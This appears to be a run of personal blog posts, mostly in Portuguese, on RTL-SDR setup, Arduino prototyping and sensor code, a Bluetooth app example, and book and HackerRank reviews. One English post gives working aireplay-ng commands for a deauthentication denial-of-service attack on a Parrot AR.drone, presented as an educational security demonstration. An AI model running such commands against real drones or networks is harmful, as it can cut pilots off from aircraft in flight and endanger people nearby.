Após a instalação com sucesso, coloque o RTL-SDR na porta USB do Raspberry Pi 3 e então liste os dispositivos USB conectados:
pi@raspberrypi:~ $ lsusb
Procure por algo do tipo Realtek device (RTL), no exemplo abaixo “Realtek Semiconductor Corp. RTL2838 DVB-T”:
lsusb no Raspberry Pi 3
Agora é hora de verificar se o RTL-SDR está funcionando:
pi@raspberrypi:~ $ rtl_test
rtl_test no Raspberry Pi 3
No meu caso ele funcionou na primeira tentativa no Raspberry Pi, no entanto, há um problema conhecido de conflito de drivers (já evidenciado no Ubuntu), em que ele associa um driver de TV Digital (dvb_usb_rtl28xxu) ao invés do rtl-sdr, caso tenha este problema, faça o seguinte:
pi@raspberrypi:~ $ sudo rmmod dvb_usb_rtl28xxu % para tornar este fix permanente, você deve mover o driver dvb_usb_rtl28xxu para a blacklist
e, tente novamente:
pi@raspberrypi:~ $ rtl_test
Testes
Instale o GQRX através do apt-get:
pi@raspberrypi:~ $ sudo apt-get install gqrx-sdr
Então execute-o:
pi@raspberrypi:~ $ gqrx
Se não for perguntado (pop-up) para selecionar o “I/O device”, vá em “File” > “I/O Devices” e então selecione Realtek RTL-SDR, agora você pode clicar no botão de “ligar” e será possível ouvir ruídos e ver que a tela de FFT (em cima) e a de waterfall (abaixo) funcionando…
Atenção:
Devido à limitações de processamento do Raspberry Pi, para evitar travamentos, você tem que reduzir a taxa de amostragem no GQRX, para isso acesse:: “File” > “I/O Devices” > “Sample Rate” ou edite o arquivo /home/pi/.config/gqrx/default.conf
RTL-SDR funciona com limite máximo de 2.4 Msps no Raspberry Pi 3 e até 1.44 Msps no Raspberry Pi 2.
Em muitos casos você pode reduzir a carga de processamento ainda mais, reduzindo o tamanho da tela, o sample rate, FFT rate e FFT size (tente 2048 at 10-15 Hz). Se você está interessando somente no FFT, defina Mode para “Demod Off”. Isto vai reduzir significativamente o processamento.
GQRX no Raspberry Pi 3
Outra opção devido a limitação do GQRX no Raspberry Pi, você pode tentar o QTCSDR on GitHub que também permite fazer transmissão através do GPIO 18 do Raspberry Pi 3 (rpitx).
Para verificar a recepção:
git clone https://github.com/ha7ilm/qtcsdr
cd qtcsdr
./rpi-install.sh
./rpi-test.sh
Se o comando rpi-test.sh rodar sem problemas, digite qtcsdr na linha de comando.
pi@raspberrypi:~ $ qtcsdr
qtcsdr no Raspberry Pi 3
Parabéns! Agora seu RTL-SDR está funcionando no Raspberry Pi 3.
Software Defined Radio (SDR) ou em português, Rádio Definido por Software é o termo usado para rádios em que a maioria das funções associadas à camada física (Physical Layer – PHY) anteriormente implementadas com componentes de hardware é implementada via software fazendo uso de técnicas de Processamento de Sinais.
O que é RTL-SDR ?
Tipicamente o RTL-SDR é composto de um dispositivo USB e uma antena. Originalmente estes dispositivos USB foram criados para captar sinais de TV Digital (Circuito Integrado RTL2832U, daí o termo RTL), no entanto foi descoberto que estes dispositivos poderiam ser usados como receptores genéricos de radiofrequência e consequentemente em aplicações de SDR (Software Defined Radio).
Mão na massa
Para uso do RTL-SDR no Windows, recomendo o uso de um pacote SDR disponibilizado pela Airspy (clique aqui)
Neste post usei o “SDR Software Package” que inclui a ferramenta SDR# rev 1500.
Se desejar, baixe aqui: sdrsharp-x86
Ao descompactar o arquivo sdrsharp-x86.zip, deve-se estar conectado na internet e executar o seguinte arquivo (install-rtlsdr.bat):
Este arquivo irá se conectar ao servidor da OSMOCOM e baixar o driver para o RTL-SDR e também fará o download do Zadig, responsável por instalar o driver do RTL-SDR. * Neste instante, plugue seu dongle do RTL-SDR e não instale nada que o Windows venha a propor de forma automática.
Na pasta criada a partir do sdrsharp-x86.zip, execute o arquivo zadig.exe como administrador:
Dentro do Zadig, selecione no menu Options > List All Devices de forma a deixar a opção selecionada:
Conforme exemplo acima, ele já encontrou 6 dispositivos (vide barra inferior). * Neste caso, o Zadig já encontrou o driver referente ao RTL-SDR, na figura abaixo como “RTL2838UHIDIR”, no entanto, conforme Quick Start Guide usado de referência, pode ser o caso que o driver não faça referência direta ao RTL e pode aparecer algo como “Bulk-In, Interface (Interface 0)”.
Garanta que a seta esteja apontando para WinUSB e clique em “Replace Driver”
Em seguida podemos verificar (na pasta criada a partir do sdrsharp-x86.zip) os seguintes aplicativos já mencionados:
Execute o SDRSharp.exe e já defina como “Source” o RTL-SDR (USB):
Em seguida clique em “Play” e o SDR# já irá iniciar a captura:
* Importante! Lembrar de ajustar o ganho RF. Um ganho de “zero” só irá captar sinais muito forte por isso é necessário ajustar o ganho até aparecer o sinal desejado (no exemplo acima nenhum sinal está sendo captado). Para ajustar o ganho, clique em configurações e em seguida ajuste o “RF Gain”:
A partir de agora, seu RTL-SDR está configurado no Windows! Agora é procurar projetos para praticar e começar a fuçar com o RTL-SDR.
Qualquer dúvida, use o espaço de perguntas ou entre em contato.
O arduino tornou fácil a criação de dispositivos eletrônicos por aqueles que não são especialistas em eletrônica. Essa possibilidade tornou-se possível devido a abstração da “circuitera” / eletrônica que as placas arduino permitem aos desenvolvedores.
arduino uno
Essa abstração permitiu uma evolução sem precedentes no desenvolvimento de produtos eletrônicos e aumentou a quantidade de pessoas tendo contato com a eletrônica e as possibilidades que isso gera como um aumento no surgimento de produtos e também vindo de encontro com tendências tecnológicas como Internet das Coisas.
Essa evolução criou também uma comunidade que hoje é chamada de “makers” em que diversos projetos são compartilhados e novas ideias surgem para criação de dispositivos eletrônicos muitas vezes surgindo a partir de projetos colaborativos como o próprio arduino.
Diferentemente do processo de desenvolvimento de software, a validação de uma ideia não é tão simples a partir da criação de um protótipo de hardware, interação com usuário e feedback para refinamento do produto (Conceito Lean Startup) pois a mudança de um produto de hardware possui um impacto maior que modificações de software, apesar de o arduino permitir um processo de desenvolvimento de produto mais simples e rápido.
Lean Startup – Build, Measure, Learn
Partindo do ponto em que o seu protótipo está validado em uma versão construída com o arduino, o objetivo deste artigo é mostrar a necessidade de evoluir este protótipo em algo customizado com o objetivo de reduzir custos e evoluir ele de um protótipo para um produto.
Arduino Shields
Um simples exemplo, você cria um protótipo a partir de um módulo arduino Uno, um shield de relé, um sensor de nível de água que tenha como função medir o nível de água em um reservatório e a partir de valores pré-definidos acionar o relé que tem por função ligar ou desligar uma bomba d’água.
Arduino – Sensor de Nível – Relé – Bomba
O custo deste exemplo seria (pesquisa no MercadoLivre):
– Formato Maker: Arduino Uno (R$30) + Shield Relé (R$8) + Sensor Nível Agua (R$15) = R$53
– Formato Produto: Microcontrolador ATMEGA328P com Capacitores e Cristal (R$10) + Relé (R$2,50) + Sensor Nível de água (R$15) + Componentes+Placa Fenolite (R$5) = R$32,50
Uma redução de mais de 60% em uma pesquisa rápida via Mercado Livre.
Parte 2: Criando o circuito “essencial” com ATMEGA328P – O caso arduino
Parte 3: Fazendo o carregamento do protótipo no microcontrolador ATMEGA328P – O caso arduino
No último final de semana tive a oportunidade de participar do Startup Weekend MAKER Unifei e o grupo que participei definiu como projeto uma plataforma de interação em ambiente virtual (Google Cardboard).
Google Cardboard e Joystick construído
Essa plataforma de interação foi um Joystick construído com módulo arduino e comunicação Bluetooth.
O objetivo deste artigo é mostrar a integração do Intel XDK com comunicação Bluetooth sendo útil para aqueles que querem implantar essa forma de comunicação em suas aplicações mobile criadas através do Intel XDK.
Descrita como “This plugin enables serial communication over Bluetooth. It was written for communicating between Android or iOS and an Arduino.”
Essa mesma API foi criada para uso do arduino com dispositivos mobile. No nosso caso o arduino utilizava um shield do módulo Bluetooth HC-05.
Módulo Bluetooth RS232 HC-05
Inserindo API no Intel XDK
Estou usando o Intel XDK versão 3522, neste caso, com o projeto já aberto:
Clique em “Projects”
Vá até o panel “Cordova Hybrid Mobile APP Settings”
Clique em “Plugin Management”
Clique em “Add Plugins to this Project”
Clique em “Third-Party Plugins”
Nesta parte você pode escolher colocar o link direto do repositório GIT do projeto (link acima) e opção “Git Repo” ou então “Import Local plugin” caso tenha feito download do plugin via Github do projeto. (Para usar a opção “Git Repo” é necessário ter o GIT instalado no computador)
Em seguida clique em “Add Plugin”
Bluetooth Plugin carregado no Intel XDK
Recebendo dados Bluetooth
Voltando para a aba “Develop” do Intel XDK é necessário editar o arquivo “www/js/app.js”, sugiro então modificá-lo para o exemplo “SimpleSerial” disponível no github do projeto, confome segue:
/*
SimpleSerial index.js
Created 7 May 2013
Modified 9 May 2013
by Tom Igoe
*/
var app = {
macAddress: "AA:BB:CC:DD:EE:FF", // get your mac address from bluetoothSerial.list
chars: "",
/*
Application constructor
*/
initialize: function() {
this.bindEvents();
console.log("Starting SimpleSerial app");
},
/*
bind any events that are required on startup to listeners:
*/
bindEvents: function() {
document.addEventListener('deviceready', this.onDeviceReady, false);
connectButton.addEventListener('touchend', app.manageConnection, false);
},
/*
this runs when the device is ready for user interaction:
*/
onDeviceReady: function() {
// check to see if Bluetooth is turned on.
// this function is called only
//if isEnabled(), below, returns success:
var listPorts = function() {
// list the available BT ports:
bluetoothSerial.list(
function(results) {
app.display(JSON.stringify(results));
},
function(error) {
app.display(JSON.stringify(error));
}
);
}
// if isEnabled returns failure, this function is called:
var notEnabled = function() {
app.display("Bluetooth is not enabled.")
}
// check if Bluetooth is on:
bluetoothSerial.isEnabled(
listPorts,
notEnabled
);
},
/*
Connects if not connected, and disconnects if connected:
*/
manageConnection: function() {
// connect() will get called only if isConnected() (below)
// returns failure. In other words, if not connected, then connect:
var connect = function () {
// if not connected, do this:
// clear the screen and display an attempt to connect
app.clear();
app.display("Attempting to connect. " +
"Make sure the serial port is open on the target device.");
// attempt to connect:
bluetoothSerial.connect(
app.macAddress, // device to connect to
app.openPort, // start listening if you succeed
app.showError // show the error if you fail
);
};
// disconnect() will get called only if isConnected() (below)
// returns success In other words, if connected, then disconnect:
var disconnect = function () {
app.display("attempting to disconnect");
// if connected, do this:
bluetoothSerial.disconnect(
app.closePort, // stop listening to the port
app.showError // show the error if you fail
);
};
// here's the real action of the manageConnection function:
bluetoothSerial.isConnected(disconnect, connect);
},
/*
subscribes to a Bluetooth serial listener for newline
and changes the button:
*/
openPort: function() {
// if you get a good Bluetooth serial connection:
app.display("Connected to: " + app.macAddress);
// change the button's name:
connectButton.innerHTML = "Disconnect";
// set up a listener to listen for newlines
// and display any new data that's come in since
// the last newline:
bluetoothSerial.subscribe('\n', function (data) {
app.clear();
app.display(data);
});
},
/*
unsubscribes from any Bluetooth serial listener and changes the button:
*/
closePort: function() {
// if you get a good Bluetooth serial connection:
app.display("Disconnected from: " + app.macAddress);
// change the button's name:
connectButton.innerHTML = "Connect";
// unsubscribe from listening:
bluetoothSerial.unsubscribe(
function (data) {
app.display(data);
},
app.showError
);
},
/*
appends @error to the message div:
*/
showError: function(error) {
app.display(error);
},
/*
appends @message to the message div:
*/
display: function(message) {
var display = document.getElementById("message"), // the message div
lineBreak = document.createElement("br"), // a line break
label = document.createTextNode(message); // create the label
display.appendChild(lineBreak); // add a line break
display.appendChild(label); // add the message node
},
/*
clears the message div:
*/
clear: function() {
var display = document.getElementById("message");
display.innerHTML = "";
}
}; // end of app
Modificações Necessárias
Para o plugin funcionar com seu dispositivo Bluetooth é necessário alterar a variável macAddress com o endereço MAC do seu dispositivo.
As mensagens Bluetooth são recebidas e tratadas na função display, caso seja necessário tomar decisões, basta avaliar os valores recebidos na variável “message”.
Mais informações podem ser obtidas na página da API ou qualquer dúvida, pode entrar em contato.
This IMU has embedded a gyroscope (ITG-3200) and a accelerometer (ADXL345) in a breakout board being useful for application that requires knowledge about orientation, position, and velocity.
The gyroscope is responsible to measure angular velocity on body axes:
X Axis – Roll
Y Axis – Pitch
Z Axis – Yaw
Some examples:
The accelerometer is responsible to measure acceleration on the body axes (x, y and z) that is useful to determine how fast a body is speeding up or slowing down.
Another point is the use of I2C (Inter-Integrated Circuit) bus that is an intra-board serial bus that uses only two “wires” for comunication: one responsible for synchronizing the devices on bus (CLOCK – SCL) and another one responsible for data transmission (DATA – SDA).
This article aims to present a arduino implementation that simply shows output data from sensors. The references on source code are highly recommended for study before deploy this code in real application.
// SparkFun 6 Degrees of Freedom IMU Digital Combo Board
// ITG-3200 (GYRO) & ADXL345 (ACCEL) - Arduino Example Algorithm
//
// Author: Gustavo Bertoli
//
// References:
// https://www.sparkfun.com/datasheets/Sensors/Accelerometer/ADXL345.pdf
// http://bildr.org/2011/03/adxl345-arduino/
// https://learn.sparkfun.com/tutorials/itg-3200-hookup-guide
// https://www.sparkfun.com/datasheets/Sensors/Gyro/PS-ITG-3200-00-01.4.pdf
// https://www.sparkfun.com/products/10121
#include <Wire.h>
// I2C Devices Address
#define GYRO 0x68 // ITG-3200 I2C Address - 0x68
#define ACCEL 0x53 // ADXL345 I2C Address - 0x53
// ITG-3200 (GYRO) REGISTERS
#define GYRO_X_H 0x1D
#define GYRO_X_L 0x1E
#define GYRO_Y_H 0x1F
#define GYRO_Y_L 0x20
#define GYRO_Z_H 0x21
#define GYRO_Z_L 0x22
#define DLPF_FS 0x16
#define SMPLRT_DIV 0x15
// ADXL345 (ACCEL) REGISTERS
#define ACCEL_X_L 0x32
#define ACCEL_X_H 0x33
#define ACCEL_Y_L 0x34
#define ACCEL_Y_H 0x35
#define ACCEL_Z_L 0x36
#define ACCEL_Z_H 0x37
#define POWER_CTL 0x2D
#define DATA_FORMAT 0x31
//ITG-3200
//DLPF, Full Scale Register Bits
//FS_SEL must be set to 3 for proper operation
//Set DLPF_CFG to 3 for 1kHz Fint and 42 Hz Low Pass Filter
char DLPF_CFG_0 = 1<<0;
char DLPF_CFG_1 = 1<<1;
char DLPF_CFG_2 = 1<<2;
char DLPF_FS_SEL_0 = 1<<3;
char DLPF_FS_SEL_1 = 1<<4;
byte adxl345[6];
void setup()
{
//Set serial communication at 9600 baudrate
Serial.begin(9600);
//Initialize the I2C communication.
Wire.begin();
//Set the gyroscope scale for the outputs to +/-2000 degrees per second
writeI2C(GYRO, DLPF_FS, (DLPF_FS_SEL_0|DLPF_FS_SEL_1|DLPF_CFG_0));
//Set the sample rate to 100 hz
writeI2C(GYRO, SMPLRT_DIV, 9);
//to enable measurement mode in ADXL345 (measure bit)
writeI2C(ACCEL, POWER_CTL, 0b00001000);
//The DATA_FORMAT register controls the presentation of data to Register 0x32 through Register 0x37
//writeI2C(ACCEL, DATA_FORMAT, 0b0000);
}
void loop()
{
int data = 0;
int x, y ,z; //acceleration - ADXL345
Serial.println("");
Serial.println("==============================");
Serial.println("=ACCELEROMETER DATA (ADXL345)=");
Serial.println("==============================");
readI2C(ACCEL,ACCEL_X_L,6); //ADXL345 multiple-byte read to prevent a change in data between reads of sequential registers
// each axis reading comes in 10 bit resolution, ie 2 bytes. Least Significat Byte first!!
// thus we are converting both bytes in to one int
x = (((int)adxl345[1]) << 8) | adxl345[0];
y = (((int)adxl345[3]) << 8) | adxl345[2];
z = (((int)adxl345[5]) << 8) | adxl345[4];
Serial.print("X-axis: ");
Serial.print(x);
Serial.print(" Y-axis: ");
Serial.print(y);
Serial.print(" Z-axis: ");
Serial.print(z);
Serial.println("");
Serial.println("==============================");
Serial.println("= GYROSCOPE DATA (ITG-3200) =");
Serial.println("==============================");
//Angular velocity on x axis
data = readRoll();
Serial.print("Roll: ");
Serial.print(data);
//Angular velocity on y axis
data = readPitch();
Serial.print(" Pitch: ");
Serial.print(data);
//Angular velocity on z axis
data = readYaw();
Serial.print(" Yaw: ");
Serial.print(data);
delay(10000);
}
int readRoll (void){
int data = 0;
data = readI2C(GYRO, GYRO_X_H,1)<<8;
data |= readI2C(GYRO, GYRO_X_L,1);
return data;
}
int readPitch (void){
int data = 0;
data = readI2C(GYRO, GYRO_Y_H,1)<<8;
data |= readI2C(GYRO, GYRO_Y_L,1);
return data;
}
int readYaw (void){
int data = 0;
data = readI2C(GYRO, GYRO_Z_H,1)<<8;
data |= readI2C(GYRO, GYRO_Z_L,1);
return data;
}
// function to read from a device on I2C bus
byte readI2C(byte devAddress, byte devRegister, int numBytes){
byte data = 0;
int aux = 0;
Wire.beginTransmission(devAddress); //Set device address on I2C bus
Wire.write(devRegister); //Set register to read from device
Wire.endTransmission(); //Stop
Wire.beginTransmission(devAddress); //Set device address on I2C bus
Wire.requestFrom(devAddress, numBytes); //read data
if (numBytes == 1) {
if (Wire.available()){
data = Wire.read();
}
} else { //ADXL345 multiple-byte read to prevent a change in data between reads of sequential registers
while (Wire.available()){
adxl345[aux] = Wire.read();
aux++;
}
}
Wire.endTransmission();
return data;
}
// function to write in a device on I2C bus
void writeI2C(byte devAddress, byte devRegister, byte devData){
Wire.beginTransmission(devAddress); //Start tx - set device address on I2C bus
Wire.write(devRegister); //Set register from I2C device
Wire.write(devData); //Set value to register
Wire.endTransmission(); //Stop tx
}
Parrot AR.drone platform is one of best sellers commercial drones/UAS platform.
This article aims to demonstrante the attack similar to the one published by JOHN HOPKINS:
This kind of attack shows the importance of cybersecurity during design of these platforms and its safety implications.
This attack called denial of service (more info) is called “Deauthentication/Dissociation” attack, this attack aims to deauthenticate the client (normally a mobile phone as controller) connected to AR.drone.
** FOR EDUCATION PURPOSE **
Step #0 Put wireless adapter on monitor mode
airmon-ng start wlan0
Step #1 Discover AR.Drone MAC address
airodump-ng wlan0mon
//In this case: 90:03:B7:38:F5:B8
Step #2 Discover the client connected to AR.drone BSSID
Step #3 Use aireplay-ng to disassociate the client
aireplay-ng -0 1000 -a 90:03:B7:38:F5:B8 -c 44:80:EB:00:0B:41 wlan0mon
-0 is the parameter for the Deauthentication attack, 1000 is the number os deaths, -a MAC address of Parrot AR.drone, -c the MAC address of the client and the wlan0mon the interface.
O 70:20:10 é um modelo empresarial baseado em pesquisas e estudos que demonstram que 70% do que as pessoas aprendem é através da experiência e prática, 20% através de outras pessoas (conversas, tirando dúvidas) e os 10% restantes através dos métodos “formais” de aprendizado (assistir aulas, leitura).
Se não existe prática, esquecemos 50% do que aprendemos em uma hora conforme a curva do esquecimento de Ebbingnhaus.
Um outro exemplo é o approach que a plataforma de ensino edX, adotou para enriquecer o aprendizado, fazendo uso de exercícios e simuladores:
Na área tecnológica isso se faz muito importante, sendo o desenvolvimento de software e a prática da programação grandes exemplos do uso do “hands-on” sendo que as tentativas e erros e a troca de conhecimento com outras pessoas uma forma recorrente de se aprender.
No entanto, esta filosofia de aprendizado – que mostra a importância do hands-on – pode ser extrapolada para as mais diversas áreas da vida, uma vez que o conhecimento se encontra disponível nas mais diversas formas graças a internet.
Meu vício por livros se tornou mais intenso nos últimos 2 anos e tudo devido ao mercado financeiro, em busca de me especializar, acabei fortalecendo o hábito de leitura.
Junto com esse hábito, eu que já lia alguns “Dan Brown”, adquiri uma preferência para livros que de alguma forma me acrescente conteúdo ou conhecimento.
Fora de Série – Outliers
Desta forma, um dos livros que me motivaram e mudaram muitos pré-conceitos que tinha foi o livro de Malcom Gladwell, “Fora de Série – Outliers”.
Interessante que o nome do livro em inglês é “Outliers”, palavra que não possui similar no português e acaba sendo definido como “Fora de Série”. Outlier é uma palavra quem tem relação com a estatística, de valores amostrados, o OUTLIER é aquele totalmente fora da média, pro caso do livro, são aqueles com sucesso acima da média.
Outlier
Minha primeira sugestão: LEIA!
Sobre o livro, ele é rico em exemplos reais (Bill Gates, Beatles, Steve Jobs, Joe Flom, entre outros) para retratar todos os conceitos que são apresentados em torno do SUCESSO.
Alguns pré-conceitos que foram quebrados em relação ao sucesso tem a ver com a contribuição da Sorte ou Meritocracia para o sucesso.
Aprender a compreender que diversos fatores influenciam no sucesso, entre eles: Momento Histórico, Origem (étnica e geográfica), Dedicação e outros fatores que são detalhados no livro.
Realmente um livro muito bom e que fica aqui a sugestão!
Recentemente recebi a sugestão de um site: o HackerRank
Do que se trata ?
O HackerRank foi criado por Vivek Ravisankar e Hari Karunanidhi, engenheiros da Amazon e da IBM respectivamente.
Como eles gastavam muito tempo durante o processo seletivo para essas empresas, eles resolveram criar uma ferramenta que substituísse a análise de currículos e entrevistas e fosse mais objetiva para a função, no caso programação.
Assim eles criaram diversos desafios de programação que futuramente viria a se tornar o HackerRank.
Opções
Fazendo um levantamento rápido das opções de “treinamento” ou “desafios” disponíveis, segue:
Algoritmos, Inteligência Artificial, Linux Shell, Segurança, Estrutura de Dados, Matemática, SQL, Banco de Dados, C++, Java, Python, Ruby, Sistemas Distribuídos e Programação Funcional.
Essa relação de itens, são as “grandes áreas”, sendo que dentro de cada um existem diversas sub-áreas para se aprofundar.
Primeiras Impressões
Eu estou particularmente em uma fase de expandir os conhecimentos em outras linguagens de programação, atualmente Python. Como tenho experiência em outras linguagens, o trabalho fica mais em conhecer a sintaxe e algumas particularidades da linguagem em si.
Quando se aprende uma nova linguagem, a forma de solidificar este conhecimento e melhorar o aprendizado é através de exercícios, normalmente se você trabalha com essa nova linguagem você acaba aprendendo no dia a dia, conforme os desafios aparecem. No meu caso, eu não trabalho diretamente com programação, apenas quando preciso automatizar uma atividade com VBA, portanto o aprendizado de Python carece desse estímulo.
Portanto, o HackerRank surge para suprir essa necessidade de “desafios” para auxiliar no aprendizado da nova linguagem.
Este ponto é o que me chamou a atenção. No entanto, para quem se prepara para entrevistas de emprego ou processos seletivos, acredito que tem mais essa funcionalidade de preparar o usuário para elas (tanto que esse foi o objetivo de criar o serviço).
Realmente fiquei surpreso positivamente pelo HackerRank e recomendo a todos!